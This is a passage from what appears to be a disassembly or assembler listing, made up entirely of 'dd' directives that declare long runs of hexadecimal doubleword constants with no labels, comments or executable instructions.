		dd 9FAB771Eh, 0B8D30B2Ah, 41991853h, 0CB2BDD36h, 41E582FEh
		dd 0B953BB6h, 685AA5FDh, 0BE8B3E8Ah, 729A4191h,	118FB8F5h
		dd 0C101167Dh, 422136B3h, 2D030E55h, 7F7DE55Fh,	4D12E0CFh
		dd 85DB0DF0h, 7A6C55F8h, 23BB8CFh, 6E98D14Ah, 7F0459B1h
		dd 0EFC72218h, 281F4150h, 0ABFB197Fh, 87EDD4DBh, 66AF60A0h
		dd 0A235F0B4h, 0B4266021h, 0A0E08B8Fh, 34178184h, 0C55F583Ah
		dd 0A29C4805h, 729DAC74h, 3BA985DDh, 0E88715A3h, 0A57F5575h
		dd 0C1291C12h, 0D3A18BA1h, 0C4982806h, 0D196E2C8h, 55D90218h
		dd 0BA479DF0h, 0C9A72CBAh, 0DDD97CF9h, 4449F476h, 90195165h
		dd 51C09C01h, 0D8C9DAD7h, 0A3451BE7h, 31DC2CCCh, 0D8DB60A8h
		dd 228C9837h, 7F4499B7h, 9521342Dh, 35CEA59h, 0A9441670h
		dd 1725C5ABh, 22EDFD5h,	0A8852FAEh, 9C6B4A3Fh, 2DFCD55Bh
		dd 2FB61AFAh, 3D19094Fh, 0B14CC577h, 0D9655177h, 0B6E6849Fh
		dd 4D306BBAh, 0F317594Dh, 298CB62Ah, 2DB84F5Ah,	6DC49CABh
		dd 181E12C0h, 0AEDD06A1h, 585AF7E4h, 0CC5B129Dh, 768BDB13h
		dd 0FA314BF5h, 0C06D6BE2h, 46198A76h, 2B466D63h, 5CA0C882h
		dd 0BD2816D4h, 0F3AF3682h, 6A575B50h, 2081E26Ch, 0BD829072h
		dd 717A6D1h, 822C1B4h
		dd 554882F4h, 32A0E8F3h, 41A9BBCAh, 4496322Fh, 64F4ECBBh
		dd 1C8CDD80h, 46B0143Dh, 1F5B2DCCh, 0C8886049h,	0C2BB1AFBh
		dd 8B635930h, 442CBAAh,	13705F9Eh, 0DFCAC986h, 4D668A97h
		dd 0C695EF2Ah, 104154ABh, 0D8940C44h, 1E92C0EBh, 70091926h
		dd 5E631287h, 3F1797F8h, 4233ABF7h, 48F60908h, 24BE0CE0h
		dd 2DC10098h, 8620BB9h,	9FC8225Dh, 3404D95Eh, 2EC2C41h
		dd 0FDBE535Bh, 0B64E3C10h, 44E020Ch, 4D47C05Dh,	3F965B32h
		dd 0D16451Dh, 68BC8D85h, 9E4E902Fh, 1948EDFBh, 74AC8BAAh
		dd 857DFB93h, 952A67E6h, 72D70905h, 1D4736ECh, 460C73DEh
		dd 0F1DC485Fh, 0E93360B3h, 0A1154A13h, 0F84E5FE7h, 0F907804Ch
		dd 0F180C3C2h, 0BA465FC8h, 93F37656h, 8A8E12BDh, 883510DEh
		dd 37A0DC51h, 72EF1DCDh, 0B22CEC60h, 0EBBE305Ch, 0EEC3DD88h
		dd 0BDA71468h, 541922CFh, 26CD63AFh, 30225CE9h,	32E7044Eh
		dd 0FB6FBB70h, 5D6982CAh, 40C2DECh, 2A775D02h, 0B413E509h
		dd 9152294Ch, 560EE92Eh, 309D4217h, 0DDBB71BBh,	59D259C8h
		dd 0C90F4AC5h, 0AACB4404h, 0A10F0A70h, 407A9C6Eh, 0C8B1CCF7h
		dd 99D31263h, 6BAAB78Ah, 666076A3h, 53F779ECh, 28E11A51h
		dd 61471627h, 7180C741h, 0E359DC92h, 6B63F978h,	8DF47902h
		dd 1D5BAB63h, 0FC416669h, 0D26E14C5h, 22F3482Dh, 0DA090330h
		dd 62B9166Ch, 0A5BD277h, 289DC863h, 0D0877810h,	82C91A5Eh
		dd 0EBA556BBh, 6389154Ah, 0A4D55F2h, 3EB3766Eh,	511DD9E0h
		dd 0C50798F7h, 735596D3h, 0EA7F1CECh, 0F6AF088Ch, 6A48136Eh
		dd 0A689161Eh, 0E31F45E3h, 0FC8CD83Ch, 98A5A5F3h, 310BE32Ch
		dd 805EEC7Dh, 0F7355C49h, 991DD9D9h, 9E7FE661h,	0ABDEBE86h
		dd 0B52E110Bh, 4F3FFF77h, 1C8DD93h, 540589A3h, 8BBAFD99h
		dd 0D7387BEDh, 12DFF0E0h, 4712762Ch, 81AB5221h,	6C184808h
		dd 23301605h, 6C30ECFh,	9CB3A8A3h, 4405FA3Ch, 2C15CC8Ch
		dd 46FAD1A2h, 0D811E605h, 9958EF69h, 8C0F167Fh,	8D2428A8h
		dd 3162D8F5h, 173760B7h, 80F84703h, 95AD2EDh, 35745D29h
		dd 0B272E1Dh, 0A48AD8A6h, 5202F0E8h, 7522B23Dh,	38064E60h
		dd 2E4A48B9h, 8B92B02h,	0A822112Bh, 27CC3444h, 0C1C5E4B1h
		dd 0B3FD9C75h, 273B3B88h, 0A1F86603h, 37CA6239h, 36893E08h
		dd 1ECC1828h, 1331E4A1h, 0D11EA34Dh, 4B1389E4h,	0E4B1B8A3h
		dd 0A4D12C89h, 0FDB41EA4h, 3CD1493Ch, 48E878C0h, 84F3E14Ch
		dd 3400D81h, 0FDA2F488h, 8CA861BCh, 744B172Eh, 8F669C21h
		dd 9D324511h, 684D982Ah, 0D11AD0CCh, 4F038344h,	8D28709Bh
		dd 29E34E48h, 0B9A24D87h, 13B82806h, 0B1816D3Ch, 7812234h
		dd 0E45DAF18h, 0EF5267AFh, 345931BEh, 0BB649E20h, 398861BBh
		dd 0B398662Eh, 62A0BE62h, 0A7D84B6Ah, 0DFF4F0C1h, 0B65DE936h
		dd 66A481B8h, 0D5825353h, 6AB87A96h, 60D16971h,	27E97ACEh
		dd 5CDB8449h, 9146A86Eh, 741EC2E9h, 0E1E9E71h, 8495A026h
		dd 0DE26DE95h, 2316314Dh, 0B5A320BAh, 8AD0A9DEh, 0CD28395Dh
		dd 9CE9A237h, 514007A9h, 683822A4h, 0F613FB67h,	99BFD793h
		dd 9A29F538h, 269BDA0Eh, 0BC0F1EA5h, 0FC0F8EEDh, 55D7FFD0h
		dd 221FB3F8h, 0A173CDDh, 7ECB4754h, 320AB4A4h, 50509146h
		dd 0C680017Bh, 74541317h, 134ADBE1h, 0E01B610Ch, 110EFCE0h
		dd 0A19F28D2h, 0A01AFA47h, 9EB126D0h, 0F31B237Dh, 930FBE0Ch
		dd 0AD11F81Ah, 0BF02824Eh, 32CF0C2Dh, 0EED8404Dh, 7EF47ABBh
		dd 0C48645C6h, 6851458Ch, 6963B23h, 0AC2A880Eh,	0A02E112Bh
		dd 31CAD103h, 4E14B788h, 82BF4FD8h, 0AF97390Fh,	65D992B4h
		dd 898A3C07h, 0A0A09180h, 6BE37270h, 7D8B012Bh,	1D6A11A9h
		dd 0A85C5A21h, 0AA9B0B03h, 76331484h, 0A7928B09h, 0D1017CA9h
		dd 5C63C447h, 9622989Fh, 87668D54h, 0A7558719h,	794886EEh
		dd 67F51228h, 0D67DAB4Fh, 0CEBE74h, 643510Fh, 0C68E034Ah
		dd 7D5196C7h, 0F88C8302h, 0A211202Bh, 88A3444Ah, 95163E3h
		dd 0FE432E55h, 0E21884ADh, 15859CAFh, 1BB5CC42h, 5FF39313h
		dd 0B68E0FECh, 6DB84A00h, 0E3D08311h, 88C2FAAFh, 0A323B461h
		dd 98D10F9h, 0D8D931C4h, 6364900Bh, 85F84026h, 9ADE01B6h
		dd 71D1BD9h, 57188C22h,	0C56418Bh, 69E093A3h, 19A47194h
		dd 0B4615247h, 8E1C62E9h, 0AD911A38h, 0C7C54787h, 0F12A554Fh
		dd 6C033072h, 44CAE14h,	5610627Ah, 3E7C8C74h, 0C81ABAB0h
		dd 0D4FC58E3h, 7180005Eh, 1F0304CCh, 7BD136C7h,	67C57B1Ch
		dd 3663046Fh, 82713988h, 0A211A9E8h, 0E9B4946Ah, 288E4462h
		dd 2DF1411Ah, 5981C46h,	0FA224462h, 0AB90EA54h,	601880F4h
		dd 2C75E21Dh, 24AF13D3h, 4ADA3907h, 0F4322730h,	3CCF398Ch
		dd 1798BF9Bh, 0C7104743h, 0CCC624F1h, 0DBAD8C31h, 38230DB1h
		dd 0C7CBF41Ah, 58404D58h, 58234212h, 9BCE8348h,	0C14005D7h
		dd 0C5CF1DAh, 19462899h, 0C468427h, 1746A221h, 87112E9Bh
		dd 0E2EF8623h, 0C6696684h, 0D69DD7BAh, 0F83C2359h, 1C91F061h
		dd 0B2204AF3h, 58FF4630h, 0FB3089EBh, 80E20099h, 0F1738089h
		dd 848A76C4h, 40C12DE4h, 0B65B688Fh, 0BCC04E1Fh, 6120719Eh
		dd 0B212FEE3h, 6D82B04Fh, 0A01CCF5Ch, 8E073506h, 0C1659F6Dh
		dd 5E5DA60Ah, 7B7001EFh, 61E680F1h, 498B207Fh, 34138DB1h
		dd 6E8BBDF0h, 0E904ECCBh, 7F17AB2Ah, 6048FC23h,	91E64948h
		dd 5566887Ch, 0FEDE39Eh, 8C48D9A8h, 0D51AAA21h,	25D60FBDh
		dd 14CE9FAAh, 0EDF950C3h, 416DB28Fh, 0A2E8A601h, 8D0E50EDh
		dd 6531C2B7h, 0F8A0BB2h, 0A54F0592h, 0C8E038AFh, 270C413Eh
		dd 40345A5Dh, 0A2CF0BFDh, 76F2C1CFh, 0E5CE6A31h, 6077998Dh
		dd 0ED1C29F3h, 0C5A2B184h, 95A54568h, 0A9C7208Eh, 9F1F4FDh
		dd 77CFC11Ah, 9C0457DBh, 20118340h, 3409CD02h, 79A1301Ch
		dd 93C843CBh, 0CB80B83Dh, 4647B233h, 6682C4D0h,	38105013h
		dd 0F5DF1460h, 5314101Eh, 0A9DC5830h, 278CBAC6h, 83FC667Fh
		dd 928624BDh, 975D502Eh, 0AD5F0536h, 13462288h,	0C174BACAh
		dd 0FE519A89h, 0D016D987h, 9B54BB3Ch, 83370486h, 0C502643Ch
		dd 82E1290h, 61A37B4Bh,	3CC2A930h, 940848C0h, 10CDE835h
		dd 0BC424E4h, 5337E365h, 0F823C206h, 0AA24C93Ch, 0CFBE90CEh
		dd 5FEF3E0h, 5B6D166h, 82EC6756h, 30A811D1h, 0B4089230h
		dd 47CD6869h, 98BFADA0h, 0D3C022Bh, 120D830Ah, 131A48F5h
		dd 29070964h, 0C7406B56h, 0E946466Ch, 99D4EB63h, 0ACB79BF3h
		dd 0D1C04543h, 0E8BC27DAh, 568DEA34h, 4531AC16h, 1606A751h
		dd 26B14631h, 0DF98CB4Ah, 0CF6E1798h, 273617F1h, 1B8A8430h
		dd 0A36492A1h, 86D75A4Eh, 0A3380A30h, 0A1C65B3Dh, 0CA2C0BAh
		dd 0AB953D97h, 9D8AE36Ch, 497463Dh, 0C50177D4h,	5FC199Bh
		dd 0F9822546h, 4975012h, 0E4552F14h, 345CBD3Ah,	136FBF1Dh
		dd 0C0B35D71h, 0CE888268h, 0B8CB30EAh, 0A7D5E678h, 3E1E19ACh
		dd 158FA812h, 91F0E250h, 4B331DC0h, 2E8872B1h, 7AAD6988h
		dd 59ECC5FAh, 9167AE00h, 9D345674h, 2D288737h, 4F785488h
		dd 0A6076D28h, 795B3C9Eh, 7AB77453h, 1AD30952h,	0B5FA2938h
		dd 453EE704h, 52F731D6h, 699694E5h, 8DDF95Dh, 0BF57C1CEh
		dd 9096220Ah, 0E50BE802h, 0B5232131h, 0C6ED3B09h, 3E73F4E0h
		dd 1BE83CFDh, 0F84C4C79h, 513FC039h, 0D804FE26h, 480F4A17h
		dd 0A034D40Ch, 2848E077h, 7C72AE78h, 90138917h,	0FF1D708Bh
		dd 8C1E039Ah, 6069B3B2h
		dd 2C5AEB98h, 834215FBh, 830414EFh, 72189689h, 84524B2Fh
		dd 0DFC410BFh, 2F5E488Fh, 9280E67Fh, 3CD18Ah, 0A7938814h
		dd 913FF70Eh, 0C7AAACFAh, 0C8F881C2h, 1E1E0713h, 5B986DF5h
		dd 4FBE60FDh, 5C6F8901h, 7ED19FB4h, 77C4CF2h, 6EF42E94h
		dd 91250F72h, 55A84C7Eh, 0AEF3CAEAh, 0C3466A4Ah, 0AA1E4CD1h
		dd 0FD3DBF8Bh, 0EDFC6D48h, 2E6959E9h, 4EF3039h,	19453C0h
		dd 1120C2BEh, 23C7F126h, 0A2297E9Ah, 8EA2516Fh,	303F3047h
		dd 0E3A8CC4Ah, 0F69D4B11h, 8EA7B7C3h, 33FB2847h, 0F1703C49h
		dd 2BB31E0Ch, 5A278FEDh, 0AAEC482h, 0BDAB9D6Ah,	6CE56F8h
		dd 0F533A8C7h, 582B69AFh, 7CF9AE8Ah, 0D1F06D81h, 62AB3D7Dh
		dd 4D802A3Dh, 0CD0F7FD5h, 0C9CAE4FFh, 333FAAB0h, 2B6B8A12h
		dd 8AB4D18h, 0C164E606h, 182D92F4h, 533E700Fh, 7D66D989h
		dd 6EF6AEE0h, 85031145h, 4E058EAAh, 4D8C2A33h, 0B44E6BE1h
		dd 8C105B8Ah, 675D5CA3h, 0F750168Bh, 150F8B76h,	44C1825h
		dd 0E422D4B4h, 281A0916h, 0EC22F519h, 28222D3Ch, 45E5E491h
		dd 0F6DC2D80h, 6F4D7713h, 7B461277h, 47B7B7F5h,	8A87AD77h
		dd 1E163D3Eh, 34EBBCBFh, 9BECEBD5h, 0D3D8CCF2h,	0F3D12FD3h
		dd 3490FBFBh, 6466BE06h, 9C2F1470h, 3041F518h, 0AECC70CBh
		dd 44629D82h, 9863DADBh, 7A33E8A0h, 6B017D07h, 67DE7034h
		dd 90D6BED5h, 0F35E6CE1h, 5807B5Fh, 8394B95h, 200DDC9Eh
		dd 5425EF72h, 6AC22BC9h, 0F47C6AE0h, 0F2BC6940h, 0E3DE23C8h
		dd 1409FD26h, 11259E02h, 763D4AB8h, 0AEE05D94h,	6EC2BCF7h
		dd 0CE2E7A81h, 0B761BA2Bh, 0D91C30D1h, 82AB0C34h, 0F290150Dh
		dd 497A064Ch, 4E06DE0Fh, 0C0DE87C3h, 2466D043h,	4AE3BBE5h
		dd 98141846h, 0F0780AEEh, 76483BA8h, 0FD2E7415h, 0F6EC8F21h
		dd 44BF0FE1h, 0C4D172Ch, 985CF156h, 0E18A983h, 85E15FC6h
		dd 62AC1303h, 4F5AB68Ah, 980D73DFh, 0DABB948Bh,	0B4F72E33h
		dd 650D8C2Dh, 9C0B223Bh, 7A05B53Ah, 12BB99C0h, 0D3DC2CE8h
		dd 0AF7D6736h, 5B39AF66h, 51459D90h, 60A2ED60h,	0ECF4C0CAh
		dd 0F2EC57B1h, 2B576347h, 1433C13Bh, 301CC598h,	77240072h
		dd 20CB8F7Ah, 5450D267h, 0E4C1098Bh, 4982C5B2h,	14D489A4h
		dd 7E4A0C61h, 0C2E824A2h, 0A5201D4Ah, 9E863323h, 941979EAh
		dd 0CBC3FCFh, 0FB3E0BC6h, 850031E3h, 67E5D366h,	81355C38h
		dd 0A9331D84h, 2C2ED489h, 3F302E6h, 44CF7498h, 604743E2h
		dd 8524ACCAh, 6EC1147Eh, 1A3387BAh, 0A7E0EC68h,	0B069401Eh
		dd 0C1F4523h, 0F0532AC0h, 33B003CAh, 0DC8F4AF8h, 57E3E182h
		dd 1B28DB04h, 7986E540h, 1C901B9h, 1DDD703Dh, 5605163Ch
		dd 8371844Ch, 0B42840F9h, 1E2A8355h, 3162CB88h,	0B8DBE7CEh
		dd 0EF68DB71h, 9F8843CBh, 2AAA0C50h, 0D999319Ch, 0A8FB8198h
		dd 899482F6h, 876EA459h, 6449A004h, 610C213Bh, 427998D4h
		dd 26CC085Ch, 5B37FC86h, 455D4CA1h, 8033CE24h, 23AC46Fh
		dd 69F1ACAh, 9D75B709h,	0C9E6CE60h, 0B2244DA8h,	0D181613Ch
		dd 0D066CA30h, 19285660h, 0AF8000EEh, 2A800717h, 63790D60h
		dd 6752D586h, 0F84C3DDBh, 8A5254A1h, 7DB8CB8Dh,	7DA03CCAh
		dd 1A3204CAh, 8B9F0F30h, 0AE173495h, 0AEEDCF76h, 31814023h
		dd 11964624h, 0E42916E3h, 268AB03Ah, 3039369Fh,	5E35A253h
		dd 86D3D2EFh, 37D787C9h, 31111294h, 0E46F494h, 829AE308h
		dd 50021182h, 333F67E9h, 52D84C68h, 0FF7CA643h,	426085F2h
		dd 0FDFD7DEBh, 7D94D48h, 9A6D0D2Bh, 3E98E47h, 0DC034C4Dh
		dd 0A1A8A101h, 0B0651006h, 0D1D4A633h, 0CB811315h, 0E186657h
		dd 0DD4CEFA7h, 0CC12AF2Dh, 8822F323h, 0A3CC29E7h, 0D60CC50Eh
		dd 20E3E067h, 394AEE6h,	36B0493h, 0A230888Bh, 958F0C7Dh
		dd 9F5AA050h, 0CA34123h, 3120145Ah, 3B877B46h, 9581D81Bh
		dd 15624522h, 0D0477AE3h, 0DBE3C0ADh, 0F37202BEh, 0AAD08A2Bh
		dd 0E4014303h, 9E5D85F1h, 0EB99941Bh, 119B8ACBh, 68915F44h
		dd 0B9D968Fh, 80CC4AA3h, 0FAEF481Bh, 765F298Bh,	0D965C066h
		dd 0E5BA8AC8h, 0CCA6B997h, 8D17B4A2h, 1419C0B1h, 30EACEDBh
		dd 1FBEE2B7h, 78F4B7C5h, 6687D0E4h, 90B5D26h, 0FC95C3E4h
		dd 2155FC14h, 9835D6E8h, 2D9BF59Ch, 7DA9878Ah, 653A1AF4h
		dd 4FC13314h, 355723C4h, 0BCA25F55h, 0E1CA356Eh, 0A8ABAF7Dh
		dd 40C8A6AAh, 8823A703h, 2B7DA2D4h, 2EA6FE4Dh, 0DF72110Bh
		dd 0A2484F2Ah, 56E81D58h, 0B9A643A5h, 82325A04h, 97327970h
		dd 4D7D3A76h, 0FE5CC76Bh, 1DFA54D2h, 556E4C15h,	0A2C16251h
		dd 170F952h, 0CCC7BA5h,	6DE88D46h, 39F8AABFh, 5981BB07h
		dd 91735C9Ch, 0D18EBD05h, 597D3F9Fh, 16146618h,	0CCFB48F7h
		dd 2AEF3E61h, 1BE7C42Bh, 0B2CC0F90h, 0AA2DCF31h, 407C1232h
		dd 0ED6AC3AEh, 0CC3BAE44h, 0F9B83D68h, 0ED0DF616h, 61E9EE2Bh
		dd 7EB133BFh, 0DF0815FFh, 0CD78BF45h, 0C03164FFh, 0AF8C8CA1h
		dd 66F1C02Eh, 10EE0301h, 4F1C2B50h, 49EE12B4h, 1690C4D3h
		dd 0F61574CCh, 0C34914D2h, 83DE78A0h, 2AEA803Dh, 233580D4h
		dd 316EBAA5h, 1F6AE57Eh, 9F875BB8h, 2887E022h, 8069D63Bh
		dd 81DDB430h, 0F177D59Dh, 0D397B2E9h, 0A0B4E52Fh, 23C7D25Ah
		dd 0FF8A4243h, 5A9500AEh, 6A88964Bh, 0ABCE6F1h,	79765A37h
		dd 3924DB5h, 4D2FADC6h,	7C5AF9EAh, 8747B6D5h, 238ACA4h
		dd 116EC0F6h, 0CC4914F1h, 56F0422Dh, 71897DBBh,	0BACE7B91h
		dd 3D693A2Ch, 0C0C11A6Fh, 7BD0A7E7h, 0ABCC84A5h, 5486CF6Ah
		dd 476C4404h, 0B76503C5h, 0A1BA2EBAh, 243F3083h, 82F71305h
		dd 0BA537D84h, 8131FDCAh, 1636B4B5h, 5FEE4148h,	496C0BD4h
		dd 0B1AEC7E6h, 0B42DAA44h, 9CCC6C67h, 25FCA04Dh, 5F0EA217h
		dd 191419B1h, 0C3B86C02h, 9E4F959Ah, 0A6C98803h, 0F4B07A4Eh
		dd 0ACBC8BD6h, 54CAD8A2h, 8C9AB4EDh, 0FD268091h, 0F228832Dh
		dd 22F9CD80h, 0EF2E804h, 0EA319713h, 0B2A9BE03h, 3BEBD903h
		dd 99CBEA40h, 47EAD7BBh, 0C32B2A60h, 773DD6C2h,	0D5D09D93h
		dd 2625C885h, 324C1DC0h, 0DD897534h, 0F4D4A5A7h, 0A132AE60h
		dd 23F62579h, 2729C887h, 0BEA28943h, 1FE518E1h,	1151A3F1h
		dd 811F82C8h, 29188B44h, 0AFB28E7Fh, 0F07765FCh, 9DC52368h
		dd 151A55E3h, 3EA35580h, 0FFFCF89h, 5C4431A7h, 0F0062596h
		dd 0DB44F4BEh, 36B1F708h, 8DA46D82h, 23671B50h,	8D946D0h
		dd 823611B3h, 6120446Ch, 1DE312Eh, 0F00820C4h, 6BC21006h
		dd 26D8D7C4h, 8CF535D0h, 0A64901CAh, 28A69506h,	5102117h
		dd 0B41107D2h, 1063BE8Ch, 257CB0B0h, 100DB9FBh,	49BE8C5Fh
		dd 50E10AF8h, 0C11ACE91h, 68618C0Dh, 4A9D88Dh, 924839E0h
		dd 4F4AE2E8h, 8018A42Dh, 7D2F14C8h, 861C326h, 5E27BFC4h
		dd 5C510BE8h, 0D354AEA0h, 0BA3E2B80h, 4EC44016h, 217C9F51h
		dd 0D3EF5403h, 2B69BAFh, 0C880F307h, 7D140F8h, 0A761AC42h
		dd 8401B943h, 0DD892B77h, 62210852h, 88A0CAC0h,	4A191B04h
		dd 13EC109Dh, 91ADF7EDh, 0C4160CAh, 0AB0AF0A2h,	881EE953h
		dd 1046EC61h, 16808A25h, 0F5D0EC31h, 68A243D3h,	0B3105881h
		dd 45BE4C4Fh, 2262D96h,	0BF330946h, 104A8881h, 32ED109Dh
		dd 9A60E94h, 5E1C01A7h,	0B232F8Dh, 604FE63Fh, 6A9C204Dh
		dd 0C826AAF5h, 0D1C6CFFEh, 618A5F4Ah, 548E698Ah, 4AB0A306h
		dd 181C2414h, 391CEA47h, 750A48C2h, 16EB498Bh, 8E838813h
		dd 8D5C4413h, 0C9F65D51h
		dd 7542E8FAh, 5BDF49B1h, 0E234FB6Ch, 8A271468h,	0A9F76116h
		dd 99A94413h, 0B18453ECh, 6AC05EAFh, 11AAD5C4h,	0C46A0DD5h
		dd 111A08D4h, 3C464235h, 4D11808Dh, 0D2849C23h,	214DA608h
		dd 50526923h, 57916A35h, 0BDB13C6h, 1A02485Fh, 37E100B3h
		dd 94422D20h, 9157932Dh, 5CF00BA4h, 0A13C1E8Bh,	2EB7A38Bh
		dd 0EA633764h, 0AA560634h, 79446AA7h, 82458B07h, 0EB5A288h
		dd 5684F262h, 0D20676Ch, 3D1A3D8Fh, 65269F00h, 5EBA03AFh
		dd 5E8C17EDh, 5E45C515h, 654E23F1h, 42AC55Fh, 436B5D1Dh
		dd 2863AB92h, 8E42B93Ch, 0E0E7B7E1h, 0FBA4C537h, 0ED1BEEA7h
		dd 54F1C87h, 68588B9Dh,	8D23C909h, 1D98B9A0h, 34631F1Ch
		dd 5C782F31h, 7CB56D62h, 845D36D1h, 0BE4A03Ch, 508321B8h
		dd 0C0F09161h, 2B213106h, 54DFD070h, 880D721Dh,	5677B210h
		dd 81C5D20Fh, 84E8E541h, 0BE268D31h, 94089D20h,	0E1819C17h
		dd 5461430Ah, 0C8843461h, 86F42542h, 2A5EC1C1h,	63806072h
		dd 368DED0Ch, 0AF215D6h, 0C04685C1h, 461281D1h,	0B4E88A23h
		dd 11C06207h, 32F0E811h, 4389A390h, 0D73ED8D5h,	0B300207h
		dd 2FA8E1B2h, 7B3E132Ah, 0E2A1C062h, 941328A6h,	22C07376h
		dd 1220FD07h, 0AE1h, 60000000h,	70000001h, 434A0041h, 1000h
		dd 0
		dd 20C4AFB0h, 12244046h, 4494C92Ah, 325584ADh, 495E92C8h
		dd 25A24BE5h, 7C4001B6h, 0D7A020D2h, 8E312Ch, 25684ABh
		dd 4953129Fh, 25284A30h, 94192FC5h, 0E50F625Dh,	0C4BA0970h
		dd 92DA25A0h, 4B8C1037h, 0C4AD8955h, 92A52520h,	4A1497F2h
		dd 0F087A004h, 7C097312h, 0DF25A84Bh, 3494CAFCh, 872AF687h
		dd 692F625Fh, 0C48E898Fh, 0C07480C6h, 2C023264h, 0A8495712h
		dd 0B6257E4Ah, 682C39A0h, 21C72560h, 0BE215001h, 1A225384h
		dd 0A3C94492h, 0D95EDB93h, 3E0DE17Eh, 460836h, 31A011B1h
		dd 0F0D6004h, 7B17642Ah, 434801h, 19D25304h, 0A4C94712h
		dd 8925024Bh, 0E57743CCh, 97512E02h, 5B84B609h,	6A12CF25h
		dd 944B1095h, 0F92BA256h, 0C4AC8957h, 12AA254Ah, 4A8094E1h
		dd 29725244h, 0A3894492h, 8425FEBBh, 21F64BD8h,	97892F25h
		dd 0F5AD3390h, 1980023h, 610B38DAh, 1740046Fh, 0C96292D9h
		dd 25C05313h, 0A0816397h, 113E945h, 928AA502h, 4A269415h
		dd 28525174h, 0A1894CD2h, 0B7A5384Ah, 24940D2Bh, 825094A6h
		dd 89419285h, 0A5104A10h, 94512BA2h, 5114B04Ah,	8539021h
		dd 0B9808C35h, 0A838012Fh, 54402D2Bh, 0FF005A4Eh, 528046BEh
		dd 2200C08h, 572CAA18h,	0A2A8E79Eh, 0D54123FDh,	11006E2h
		dd 810F6C04h, 7E172420h, 0B6F42717h, 3430C043h,	70EF3100h
		dd 0C688C189h, 0C0B930C6h, 337D27h, 61851E0Fh, 2F030A59h
		dd 6485E84h, 5CD17241h,	734F03CAh, 50C29482h, 0B938CC1h
		dd 12B83123h, 0CCB8A6C2h, 0DEC386F0h, 8450B8Ah,	43024BAh
		dd 2C3136A2h, 8D10A441h, 290B0E41h, 859065CAh, 9CC296C0h
		dd 106F9758h, 0B3235D9h, 478A2971h, 595234C2h, 998E4BE8h
		dd 9662E88Eh, 5C2F8810h, 660590A0h, 31477981h, 47B01436h
		dd 847B74F1h, 24143384h, 7BB00A3Dh, 0A19830h, 0A74FAFC8h
		dd 722E255Bh, 0E1D9E685h, 0F7FB7502h, 3F74B958h, 0EE179028h
		dd 0DF225B2Ch, 0B6E43226h, 0EDB61344h, 0ADF6342Bh, 0C6ECD72Bh
		dd 292020CBh, 82417261h, 37C144B7h, 176C80Ah, 0B9BB49Ch
		dd 3F662343h, 37630B9Bh, 591CC84Dh, 5CCA0DEEh, 0D856EC20h
		dd 53641082h, 0F6513422h, 5C082EE1h, 70704C69h,	805017B7h
		dd 3029ABA0h, 66E038B5h, 0D19AB0D9h, 14D80080h,	17090904h
		dd 0F4C8745Bh, 0ED2101B5h, 11824229h, 6E18423Ch, 514200D0h
		dd 28D7406Bh, 0E66DCCF1h, 701A332Dh, 0AA001A73h, 620AD66Dh
		dd 49366AF1h, 691E1F89h, 1AF8F25Bh, 0C78282D3h,	8596D203h
		dd 84794080h, 0C805970h, 0BA18B40Ah, 4591B9CBh,	92893698h
		dd 142C46ACh, 0E25B681Fh, 0E07C048Eh, 0E40AECDAh, 0AA3C9C4Fh
		dd 0C94CE815h, 9A0D62A0h, 1862B40h, 810F4A64h, 901ED241h
		dd 0B3D0262h, 0A4DC3773h, 343C47A6h, 6C7449DDh,	0C5E08E59h
		dd 4326052Fh, 0B591766h, 0B3588E6Ch, 0E0DDBCDh,	34899C02h
		dd 30A0CC22h, 12377650h, 3CA4B470h, 4A877825h, 46B95841h
		dd 2290D498h, 469B53ABh, 50EA5549h, 70183615h, 2850C03Fh
		dd 41A4B718h, 1EA05332h, 0AFCCCA30h, 0C17C2344h, 0B285828Bh
		dd 451AD203h, 141230E8h, 1D4C0C00h, 0BCB8BC18h,	0B15D4181h
		dd 50169729h, 4828E68Ch, 0AE11A8C0h, 0EA82E16Dh, 6900F83Ah
		dd 540C8A20h, 44124292h, 1C00D0A0h, 0F8A30102h,	0A9281930h
		dd 0BD4D69B0h, 0C9BBC8C4h, 40A9EA53h, 0CC569758h, 0D1C6229h
		dd 0A76C866Dh, 839F4E6Ah, 0F8626EECh, 2D8CCC02h, 8CED1287h
		dd 75B9120Fh, 430C7D52h, 54E63563h, 161DC110h, 6D128AA5h
		dd 8D430E86h, 8C730F02h, 38B03C2Ch, 0CD125A47h,	0A08D81AFh
		dd 852866ADh, 585A718Dh, 0E85D6E16h, 0CB49F055h, 6D4E9D33h
		dd 678A280Ch, 70822C47h, 0A102A9A0h, 0A539683Eh, 9054433h
		dd 2F03ABADh, 1F343B15h, 0F2A6585h, 4C528A1Fh, 96F59929h
		dd 0E87018B8h, 5E5450CDh, 79169F46h, 524CC055h,	1B506C8h
		dd 48BB5635h, 22054C3Eh, 0D9C1551Ah, 8B90B85Eh,	5A6ADC84h
		dd 554CD898h, 2876512Dh, 2118A571h, 6F05E8A2h, 92CA550Ah
		dd 0DB4702BAh, 88C1CD4Dh, 6A6E6703h, 0D20E5575h, 270B22C8h
		dd 0C5CD9078h, 8EFE076Ch, 727D80C7h, 0FF02A9B7h, 62CC48A5h
		dd 0B1B219A7h, 4B084E52h, 6DD6656Fh, 5BBE0955h,	653B4B9Dh
		dd 0A4FDB9B2h, 448602h,	136E96DBh, 82C315C9h, 4BAEFD20h
		dd 0B0E1620Dh, 53B72A7h, 7468B2EAh, 0DB15182Ah,	85D0DDACh
		dd 0D3C0254Eh, 0E1616FF0h, 40A960B6h, 0A1C9766Bh, 0B2F3700Fh
		dd 5EA82136h, 3163B58Ah, 85D6DCE3h, 0B19A8154h,	4C8B25E6h
		dd 0A00203F8h, 0B310A4D0h, 1B01FB71h, 4C024BCh,	0BC3C30E6h
		dd 81AEB731h, 2681526Eh, 74251145h, 8119CE4Ah, 0A4B502C6h
		dd 9C9B4231h, 90883EA4h, 304DA942h, 97A0D8B9h, 14B7255h
		dd 36F89B5Eh, 238F5288h, 11A617D0h, 8D1D49A0h, 3B2ECC5Fh
		dd 0B29DC28Eh, 1CCB7112h, 0D03AADB9h, 0A3CB855Ah, 0D26AEF4Fh
		dd 0B32C20D5h, 0E8153584h, 16A72944h, 0F0349269h, 0A2CEA1C5h
		dd 0B352499Ch, 0E300C6A0h, 0B6425BAEh, 0CA468311h, 6D525AABh
		dd 584760A5h, 89C05B78h, 0C4C2C9E2h, 9736E583h,	10326B4Ch
		dd 0A953548Ah, 0AF00830Ah, 72E25A01h, 1C4516AEh, 29676A54h
		dd 0E294C739h, 3BAB02BBh, 0BD319417h, 1A99622Ch, 0AA0761B0h
